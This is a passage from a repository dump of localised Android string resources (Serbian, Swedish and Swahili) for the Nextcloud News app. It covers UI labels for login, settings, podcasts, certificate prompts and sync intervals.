<!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Dodaj</string>\n    <string name=\"hint_folder_name\">Naziv fascikle</string>\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Ručna prijava</string>\n    <string name=\"login_sso\">Prijava korišćenjem Nekstklaud aplikacije Fajlova</string>\n    <string name=\"pref_title_username\">Korisničko ime</string>\n    <string name=\"pref_title_password\">Lozinka</string>\n    <string name=\"pref_title_owncloudRootPath\">Korena adresa Nekstklauda</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Prijavi se</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Ovo polje je neophodno</string>\n    <string name=\"error_invalid_url\">Neispravna adresa</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Preuzeta %d stara stavka</item>\n        <item quantity=\"few\">Preuzeto %d stare stavke</item>\n        <item quantity=\"other\">Preuzeto %d starih stavki</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Nema više dostupnih stavki</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Postavke</string>\n    <string name=\"cache_is_cleared\">Keš je očišćen!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Opšte</string>\n    <string name=\"pref_title_general_sort_order\">Sortiranje</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Radnja na prevlačenje desno</string>\n    <string name=\"pref_rename_action_swipe_left\">Radnja na prevlačenje levo</string>\n\n    <string name=\"pref_title_general_search_in\">Pretraži u</string>\n\n    <string name=\"pref_general_search_in_title\">Naslov</string>\n    <string name=\"pref_general_search_in_body\">Telo</string>\n    <string name=\"dialog_clearing_cache\">Čistim keš</string>\n    <string name=\"reset_cache_unsaved_changes\">Postoje nesinhronizovane izmene. Da ipak obrišem keš?</string>\n    <string name=\"warning\">Upozorenje</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Osveži pri pokretanju</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Prikaži samo nepročitane članke</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Isključi proveru imena domaćina</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navigacija pomoću dugmadi za jačinu zvuka</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Označi kao pročitano tokom klizanja</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Preskoči detaljni pregled i odmah otvori članak u pregledaču</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Prihvatiti nepoznati sertifikat?</string>\n    <string name=\"mtm_decision_always\">Uvek</string>\n    <string name=\"mtm_decision_abort\">Prekini</string>\n    <string name=\"mtm_notification\">Provera sertifikata</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Nije izabrana podemisija</string>\n    <string name=\"no_chapters_available\">Nema dostupnih poglavlja</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Brzina puštanja</string>\n    <string name=\"notification_downloading_podcast_title\">Preuzimam podkast</string>\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">O programu</string>\n    <string name=\"pref_license\">Licenca</string>\n    <string name=\"pref_license_summary\">GNU Affero Opšta Javna Licenca (AOJL), verzija 3</string>\n    <string name=\"pref_report_issue\">Prijavi problem</string>\n    <string name=\"pref_report_issue_summary\">Potreban je (besplatni) Githab nalog</string>\n    <string name=\"pref_contribute\">Dajte doprinos!</string>\n    <string name=\"pref_contribute_summary\">Uzmi izvorni kôd</string>\n    <string name=\"pref_privacy\">Privatnost</string>\n    <string name=\"pref_version\">Android aplikacija za Nekstklaud Vesti</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Prikaz</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Raspored liste dovoda</string>\n    <string name=\"pref_title_font_size\">Veličina fonta</string>\n    <string name=\"pref_display_browser\">Pregledač</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Ikone radnji (detaljni prikaz)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Podrazumevani sistem</string>\n    <string name=\"pref_display_apptheme_light\">Svetla</string>\n    <string name=\"pref_display_apptheme_dark\">Tamna</string>\n\n    <string name=\"pref_oled_mode\">Crna pozadina</string>\n    <string name=\"pref_oled_mode_summary\">Za tamne teme na OLED ekranima</string>\n\n    <string name=\"pref_display_browser_cct\">Ugrađeni Hrom posebni jezičci</string>\n    <string name=\"pref_display_browser_built_in\">Ugrađeni pregledač</string>\n    <string name=\"pref_display_browser_external\">Spoljni pregledač</string>\n\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Sličice</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Običan tekst</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Naslovi</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Ceo tekst</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Veb raspored</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Kartični prikaz</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Malo</string>\n    <string name=\"pref_display_font_size_d\">Podrazumevano</string>\n    <string name=\"pref_display_font_size_l\">Veliko</string>\n    <string name=\"pref_display_font_size_xl\">Jako veliko</string>\n\n    <string name=\"content_desc_forward\">Prosledi</string>\n    <string name=\"content_desc_add_to_favorites\">Dodaj u omiljene</string>\n    <string name=\"content_desc_remove_from_favorites\">Ukloni iz omiljenih</string>\n    <string name=\"content_desc_delete\">Obriši</string>\n    <string name=\"content_desc_download\">Preuzmi</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Greška</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Izgleda da aplikacija Vesti nije instalirana ili aktivirana na serveru. Pratite uputstva odavde da prvo podesite aplikaciju Vesti na serveru: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Nešto je pošlo naopako :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Aplikacija Vesti je vratila verziju \\\"0\\\". Pogledajte sledeći izveštaj o grešci: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Verzija ove aplikacije nije usklađena sa aplikacijom Nekstklaud Vesti. Ažurirajte aplikaciju i njen radni okvir.</string>\n    <string name=\"login_dialog_title_security_warning\">Sigurnosno upozorenje</string>\n    <string name=\"login_dialog_text_security_warning\">Ne koristite preporučeni HTTPS protokol. Napadač može presresti vaš saobraćaj i imati pristup osetljivim podacima (npr. vašoj lozinki).</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Podaci i sinhronizacija</string>\n    <string name=\"pref_title_clearCache\">Očisti keš</string>\n    <string name=\"pref_title_CacheImagesOffline\">Keširaj slike za rad van veze</string>\n    <string name=\"pref_title_Max_Cache_Size\">Najviše</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nikad</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Samo preko bežične veze</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Preko bežične &amp; mobilne mreže</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Pitaj kada nema bežične veze</string>\n\n    <string name=\"array_sync_interval_min_0\">Nikad</string>\n    <string name=\"array_sync_interval_min_5\">5 minuta</string>\n    <string name=\"array_sync_interval_min_15\">15 minuta</string>\n    <string name=\"array_sync_interval_min_30\">30 minuta</string>\n    <string name=\"array_sync_interval_hour_1\">1 sat</string>\n    <string name=\"array_sync_interval_hour_3\">3 sata</string>\n    <string name=\"array_sync_interval_hour_6\">6 sati</string>\n    <string name=\"array_sync_interval_hour_12\">12 sati</string>\n    <string name=\"array_sync_interval_hour_24\">24 sata</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-sv/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Autosynk</string>\n    <string name=\"title_activity_sync_interval_selector\">Synkintervall </string>\n    <string name=\"empty_view_content\">Inga objekt här</string>\n    <string name=\"empty_view_content_action\">Dra nedåt för uppdatera</string>\n    <string name=\"toast_GettingMoreItems\">Nedladdning av ytterligare poster har påbörjats. Vänta...</string>\n    <string name=\"no_wifi_available\">Ingen Wi-Fi ansluten</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Vill du ladda ner bilder utan wifi-anslutning?</string>\n    <string name=\"current_version\">Du använder Version %s</string>\n    <string name=\"widget_header\">Nextcloud nyheter</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d ny artikel tillgänglig</item>\n        <item quantity=\"other\">%d nya artiklar tillgängliga</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Uppdatera</string>\n    <string name=\"allUnreadFeeds\">Alla olästa objekt</string>\n    <string name=\"starredFeeds\">Stjärnmärkta objekt</string>\n    <string name=\"downloadedPodcasts\">Nedladdade podcasts</string>\n    <string name=\"title_activity_new_feed\">Lägg till flöde</string>\n\n    <string name=\"menu_update\">Uppdatera</string>\n    <string name=\"menu_markAllAsRead\">Markera alla som lästa</string>\n    <string name=\"menu_StartImageCaching\">Hämta bilder</string>\n    <string name=\"menu_downloadMoreItems\">Hämta fler objekt</string>\n\n    <string name=\"tv_showing_cached_version\">Visar cachad version</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Stjärnmärkt</string>\n    <string name=\"action_read\">Läsa</string>\n    <string name=\"action_playPodacst\">Spela Podcast</string>\n    <string name=\"action_removePodcast\">Ta bort Podcast Media</string>\n    <string name=\"action_openInBrowser\">Öppna i webbläsare</string>\n    <string name=\"action_Share\">Dela</string>\n    <string name=\"action_login\">Serverinställningar</string>\n    <string name=\"action_save\">Spara</string>\n    <string name=\"action_settings\">Inställningar</string>\n    <string name=\"action_sync_settings\">Synkroniseringsinställningar</string>\n    <string name=\"action_add_new_feed\">Lägg till flöde</string>\n    <string name=\"action_add_new_folder\">Lägg till ny mapp</string>\n    <string name=\"action_textToSpeech\">Läs upp</string>\n    <string name=\"action_search\">Sök</string>\n    <string name=\"action_download_articles_offline\">Hämta artiklar frånkopplad</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Hämtar artiklar som kan användas frånkopplad</string>\n    <string name=\"notification_download_images_offline\">Hämtar bilder som kan användas frånkopplad</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Du har %d oläst objekt</item>\n        <item quantity=\"other\">Du har %d olästa objekt</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d ny oläst artikel tillgänglig</item>\n        <item quantity=\"other\">%d nya olästa artiklar tillgängliga</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Flödeswebbadress</string>\n    <string name=\"action_add_feed\">Lägg till flöde</string>\n    <string name=\"import_opml\">Importera OPML</string>\n    <string name=\"export_opml\">Exportera OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Hämta bild</string>\n    <string name=\"action_img_sharelink\">Dela bildlänk</string>\n    <string name=\"action_img_open\">Öppna bilden i webbläsaren</string>\n    <string name=\"action_img_copylink\">Kopiera bildlänk</string>\n    <string name=\"action_link_share\">Dela länk</string>\n    <string name=\"action_link_open\">Öppna länk i webbläsaren</string>\n    <string name=\"action_link_copy\">Kopiera länk</string>\n    <string name=\"toast_img_download_wait\">Laddar ner, vänta …</string>\n    <string name=\"toast_img_saved\">Bild sparad</string>\n    <string name=\"toast_img_notwriteable\">Misslyckades att skriva bilden.</string>\n    <string name=\"toast_copied_to_clipboard\">Kopierat till urklipp</string>\n    <string name=\"error_download_failed\">Hämtning misslyckades</string>\n    <string name=\"intent_title_share\">Dela via</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Ta bort Feed</string>\n    <string name=\"action_feed_rename\">Döp om Feed</string>\n    <string name=\"action_feed_move\">Flytta flöde</string>\n    <string name=\"action_feed_notification_settings\">Aviseringsinställningar</string>\n    <string name=\"action_feed_open_in\">Öppna i inställningar</string>\n    <string name=\"action_feed_open_in_general_setting\">Använd allmänna inställningar</string>\n    <string name=\"action_feed_open_in_detailed_view\">Detaljerad vy</string>\n    <string name=\"feed_remove_button\">Ta bort</string>\n    <string name=\"feed_rename_button\">Byt namn</string>\n    <string name=\"confirm_feed_remove\">Vill du verkligen ta bort denna Feed? Det kan inte ångras!</string>\n    <string name=\"feed_move_list_description\">Välj mapp för att flytta flöde till</string>\n    <string name=\"move_feed_root_folder\">Topp-mapp</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Ta bort mapp</string>\n    <string name=\"action_folder_rename\">Döp om mapp</string>\n    <string name=\"folder_remove_button\">Ta bort</string>\n    <string name=\"folder_rename_button\">Döp om</string>\n    <string name=\"confirm_folder_remove\">Är du säker på att ta bort den här mappen? Åtgärden kan inte att ångras!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Ta emot aviseringar från det här flödet</string>\n    <string name=\"notification_feed_default\">Alla flöden med standardval kommer att synas i en gemensam avisering</string>\n    <string name=\"notification_feed_none\">Inga aviseringar alls</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Lägg till</string>\n    <string name=\"hint_folder_name\">Mappnamn</string>\n    <string name=\"folder_already_exists\">Mappen finns redan</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Manuell inloggning</string>\n    <string name=\"login_sso\">Logga in med Nextcloud filer-app</string>\n    <string name=\"pref_title_username\">Användarnamn</string>\n    <string name=\"pref_title_password\">Lösenord</string>\n    <string name=\"pref_title_owncloudRootPath\">Nextcloud root adress</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/owncloud</string>\n\n    <string name=\"action_sign_in_short\">Logga in</string>\n    <string name=\"login_progress_signing_in\">Loggar in …</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Detta fält obligatoriskt</string>\n    <string name=\"error_invalid_url\">Felaktig webbadress</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">Markerade %d objekt som läst</item>\n        <item quantity=\"other\">Markerade %d objekt som lästa</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Laddade ner %d gamla artiklar</item>\n        <item quantity=\"other\">Hämtade %d gamla artiklar</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Inga fler föremål är tillgängliga</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Hämtat %d artikel än så länge...</item>\n        <item quantity=\"other\">Hämtat %d artiklar än så länge...</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Inställningar</string>\n    <string name=\"cache_is_cleared\">Cacheminne rensat!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Allmänt</string>\n    <string name=\"pref_title_general_sort_order\">Sorteringsordning</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Ny → Gammal</string>\n    <string name=\"pref_general_sort_order_old_new\">Gammal → Ny</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Åtgärd när du sveper åt höger</string>\n    <string name=\"pref_rename_action_swipe_left\">Åtgärd när du sveper åt vänster</string>\n\n    <string name=\"pref_title_general_search_in\">Sök i</string>\n\n    <string name=\"pref_general_search_in_title\">Rubrik</string>\n    <string name=\"pref_general_search_in_body\">Textyta</string>\n    <string name=\"pref_general_search_in_both\">Både</string>\n\n    <string name=\"dialog_clearing_cache\">Rensar cachen</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Rensar cachen, vänta …</string>\n    <string name=\"reset_cache_unsaved_changes\">Det finns ändringar som ännu inte har synkroniserats. Vill du återställa cachen ändå?</string>\n    <string name=\"warning\">Varning</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Synkronisera vid uppstart</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Visa endast olästa artiklar</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Inaktivera verifiering av värdnamn</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navigera med volymknapparna</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Markera som läst vid bläddring</string>\n    <string name=\"pref_title_ShowFastActions\">Aktivera snabbåtkomstsfunktioner</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Hoppa över detaljerad vy och öppna artikeln i webbläsare</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Bakåtknappen öppnar panelen</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Acceptera okänt certifikat?</string>\n    <string name=\"mtm_decision_always\">Alltid</string>\n    <string name=\"mtm_decision_abort\">Avbryt</string>\n    <string name=\"mtm_notification\">Verifikation av certifikat</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Ingen podcast vald</string>\n    <string name=\"no_chapters_available\">Inga kapitel tillgängliga.</string>\n    <string name=\"exit_playback\">Stäng mediaspelaren</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Uppspelningshastighet</string>\n    <string name=\"notification_downloading_podcast_title\">Hämtar podcast</string>\n    <string name=\"dialog_podcast_remove_title\">Är du säker?</string>\n    <string name=\"dialog_podcast_remove_body\">Vill du ta bort nedladdad media för %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Misslyckades med att ta bort media för %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Media för %1$s har tagits bort</string>\n    <string name=\"dialog_podcast_remove_confirm\">Ta bort</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Om</string>\n    <string name=\"pref_license\">Licens</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) version 3</string>\n    <string name=\"pref_report_issue\">Rapportera ett problem</string>\n    <string name=\"pref_report_issue_summary\">Kräver ett (gratis) GitHub-konto</string>\n    <string name=\"pref_contribute\">Bidra!</string>\n    <string name=\"pref_contribute_summary\">Hämta källkoden</string>\n    <string name=\"pref_privacy\">Integritet</string>\n    <string name=\"pref_privacy_summary\">Nextcloud Nyheter Android Integritetspolicy</string>\n    <string name=\"pref_news_policy\">Kontakta oss / Nyhetspolicy</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud Nyheter Android Nyhetspolicy / Kontakta oss</string>\n    <string name=\"pref_version\">Nextcloud Nyheter Android-app</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Visa</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Utseende nyhetsflöde</string>\n    <string name=\"pref_title_font_size\">Teckenstorlek</string>\n    <string name=\"pref_display_browser\">Webbläsare</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Händelseikoner (Detaljvy)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Systemstandard</string>\n    <string name=\"pref_display_apptheme_light\">Ljus</string>\n    <string name=\"pref_display_apptheme_dark\">Mörk</string>\n\n    <string name=\"pref_oled_mode\">Svart bakgrund</string>\n    <string name=\"pref_oled_mode_summary\">För mörkt tema på OLED-skärmar</string>\n\n    <string name=\"pref_external_player\">Extern spelare</string>\n    <string name=\"pref_external_player_summary\">Spela podcasts i din standardapp för media</string>\n\n    <string name=\"pref_display_browser_cct\">Inbyggd Chrome-anpassade flikar</string>\n    <string name=\"pref_display_browser_built_in\">Inbyggd webbläsare</string>\n    <string name=\"pref_display_browser_external\">Extern webbläsare</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Miniatyrer (endast rubriker)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Miniatyrbilder</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Enkel text</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Rubriker</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">All text</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Webblayout</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Kortvy</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Liten</string>\n    <string name=\"pref_display_font_size_d\">Standard</string>\n    <string name=\"pref_display_font_size_l\">Stor</string>\n    <string name=\"pref_display_font_size_xl\">Extra stor</string>\n\n    <string name=\"content_desc_play\">Spela</string>\n    <string name=\"content_desc_pause\">Pausa</string>\n    <string name=\"content_desc_playback_speed\">Uppspelningshastighet</string>\n    <string name=\"content_desc_rewind\">Spola bakåt</string>\n    <string name=\"content_desc_forward\">Vidarebefordra</string>\n    <string name=\"content_desc_expand\">Utöka</string>\n    <string name=\"content_desc_collapse\">Dölj</string>\n    <string name=\"content_desc_mark_as_read\">Markera som läst</string>\n    <string name=\"content_desc_mark_as_unread\">Markera som oläst</string>\n    <string name=\"content_desc_tap_to_refresh\">Tryck för att uppdatera</string>\n    <string name=\"content_desc_add_to_favorites\">Lägg till i favoriter</string>\n    <string name=\"content_desc_remove_from_favorites\">Ta bort från favoriter</string>\n    <string name=\"content_desc_show_password\">Visa lösenord</string>\n    <string name=\"content_desc_delete\">Radera</string>\n    <string name=\"content_desc_download\">Ladda ner</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Fel</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Det verkar som din nyhetsapp inte är installerad eller aktiverad på din server. Följ instruktionerna här för att konfigurera nyhetsapplikationen på din server först: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Något gick fel :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Webbnyhetsappen returnerade Version \\\"0\\\". Ta en titt på följande felrapport: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Den här appversionen är inte kompatibel med din Nextcloud nyheter-app. Vänligen uppgradera nyhetsappen och appframework.</string>\n    <string name=\"login_dialog_title_security_warning\">Säkerhetsvarning</string>\n    <string name=\"login_dialog_text_security_warning\">Du använder inte HTTPS, vilket uppmuntras starkt. En angripare kan fånga upp din trafik och få åtkomst till vissa känsliga data (t.ex. ditt lösenord).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Något gick fel. Vänligen försök igen.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Data &amp; synkronisering</string>\n    <string name=\"pref_title_clearCache\">Rensa cachen</string>\n    <string name=\"pref_title_CacheImagesOffline\">Cacha bilder frånkopplad</string>\n    <string name=\"pref_title_Max_Cache_Size\">Maximal cachestorlek</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Aldrig</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Endast över Wi-Fi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Över Wi-Fi &amp; mobildata</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Fråga när du inte är ansluten till Wi-Fi</string>\n\n    <string name=\"array_sync_interval_min_0\">Aldrig</string>\n    <string name=\"array_sync_interval_min_5\">5 minuter</string>\n    <string name=\"array_sync_interval_min_15\">15 minuter</string>\n    <string name=\"array_sync_interval_min_30\">30 minuter</string>\n    <string name=\"array_sync_interval_min_45\">45 minuter</string>\n    <string name=\"array_sync_interval_hour_1\">1 timme</string>\n    <string name=\"array_sync_interval_hour_2\">2 timmar</string>\n    <string name=\"array_sync_interval_hour_3\">3 timmar</string>\n    <string name=\"array_sync_interval_hour_6\">6 timmar</string>\n    <string name=\"array_sync_interval_hour_12\">12 timmar</string>\n    <string name=\"array_sync_interval_hour_24\">24 timmar</string>\n    <string name=\"switch_account\">Växla konto</string>\n    \n    <string name=\"successfully_exported\">Exporten lyckades till:</string>\n    <string name=\"opml_export\">OPML-export</string>\n    <string name=\"parsing_opml\">Läser OPML</string>\n    <string name=\"please_wait\">Vänta...</string>\n    <string name=\"interval_sync_title\">Synkroniseringsintervall</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-sw/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Usawazishaji kiotomatiki</string>\n    <string name=\"title_activity_sync_interval_selector\">Muda wa Kusawazisha</string>\n    <string name=\"empty_view_content\">Hakuna vipengee hapa</string>\n    <string name=\"empty_view_content_action\">Vuta chini ili kuonyesha upya</string>\n    <string name=\"toast_GettingMoreItems\">Upakuaji wa vipengee zaidi umeanza. Tafadhali subiri…</string>\n    <string name=\"no_wifi_available\">Hakuna WiFi iliyounganishwa</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Je, ungependa kupakua picha bila muunganisho wa Wi-Fi?</string>\n    <string name=\"current_version\">Unatumia Toleo %s</string>\n    <string name=\"widget_header\">Habari za Nextcloud</string>\n    <string name=\"message_bar_scroll_top\">Pakia upya na usogeze hadi juu</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d new item available</item>\n        <item quantity=\"other\">%d vitu vipya vinavyopatikana</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Pakia upya</string>\n    <string name=\"allUnreadFeeds\">Vipengee vyote ambavyo havijasomwa</string>\n    <string name=\"starredFeeds\">Vipengee vyenye nyota</string>\n    <string name=\"downloadedPodcasts\">Podikasti zilizopakuliwa</string>\n    <string name=\"title_activity_new_feed\">Ongeza malisho mapya</string>\n\n    <string name=\"menu_update\">Onyesha upya</string>\n    <string name=\"menu_markAllAsRead\">Weka alama zote kama zimesomwa</string>\n    <string name=\"menu_StartImageCaching\">Pakua picha</string>\n    <string name=\"menu_downloadMoreItems\">Pakua vipengee zaidi</string>\n\n    <string name=\"tv_showing_cached_version\">Inaonyesha toleo lililohifadhiwa</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Yenye nyota</string>\n    <string name=\"action_read\">Soma</string>\n    <string name=\"action_playPodacst\">Cheza Podcast</string>\n    <string name=\"action_removePodcast\">Ondoa Media ya Podcast</string>\n    <string name=\"action_openInBrowser\">Fungua katika kivinjari</string>\n    <string name=\"action_Share\">Shirikisha</string>\n    <string name=\"action_login\">Mipangilio ya Seva</string>\n    <string name=\"action_save\">Hifadhi</string>\n    <string name=\"action_settings\">Mipangilio</string>\n    <string name=\"action_sync_settings\">Mipangilio ya Usawazishaji</string>\n    <string name=\"action_add_new_feed\">Ongeza malisho mapya</string>\n    <string name=\"action_add_new_folder\">Ongeza folda mpya</string>\n    <string name=\"action_textToSpeech\">Soma kwa sauti</string>\n    <string name=\"action_search\">Tafuta</string>\n    <string name=\"action_download_articles_offline\">Pakua makala nje ya mtandao</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Inapakua makala kwa matumizi ya nje ya mtandao</string>\n    <string name=\"notification_download_images_offline\">Inapakua picha kwa matumizi ya nje ya mtandao</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">You have %d new unread item</item>\n        <item quantity=\"other\">Una vipengee %d vipya ambavyo havijasomwa</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d new unread item available</item>\n        <item quantity=\"other\">%d vipengee vipya ambavyo havijasomwa vinapatikana</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL ya mipasho</string>\n    <string name=\"action_add_feed\">Ongeza malisho</string>\n    <string name=\"import_opml\">Ingiza OPML</string>\n    <string name=\"export_opml\">Hamisha OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Pakua kiungo</string>\n    <string name=\"action_img_sharelink\">Shiriki Kiungo cha Picha</string>\n    <string name=\"action_img_open\">Fungua picha katika kivinjari</string>\n    <string name=\"action_img_copylink\">Nakili picha ya kiungo</string>\n    <string name=\"action_link_share\">Shiriki kiungo</string>\n    <string name=\"action_link_open\">Fungua Kiungo katika Kivinjari</string>\n    <string name=\"action_link_copy\">Nakili kiungo</string>\n    <string name=\"toast_img_download_wait\">Inapakua. Tafadhali subiri…</string>\n    <string name=\"toast_img_saved\">Picha imehifadhiwa</string>\n    <string name=\"toast_img_notwriteable\">Imeshindwa kuandika Picha.</string>\n    <string name=\"toast_copied_to_clipboard\">Nakili katika ubao wa kunakili</string>\n    <string name=\"error_download_failed\">Imeshindwa kupakua</string>\n    <string name=\"intent_title_share\">Shiriki kupitia</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Ondoa Mlisho</string>\n    <string name=\"action_feed_rename\">Badilisha jina la Mlisho</string>\n    <string name=\"action_feed_move\">Hamisha Mlisho</string>\n    <string name=\"action_feed_notification_settings\">Mipangilio ya arifu</string>\n    <string name=\"action_feed_open_in\">Mipangilio ya wazi</string>\n    <string name=\"action_feed_open_in_general_setting\">Tumia mpangilio wa jumla</string>\n    <string name=\"action_feed_open_in_detailed_view\">Mtazamo wa kina</string>\n    <string name=\"feed_remove_button\">Ondoa</string>\n    <string name=\"feed_rename_button\">Ipe jina jipya</string>\n    <string name=\"confirm_feed_remove\">Je, kweli 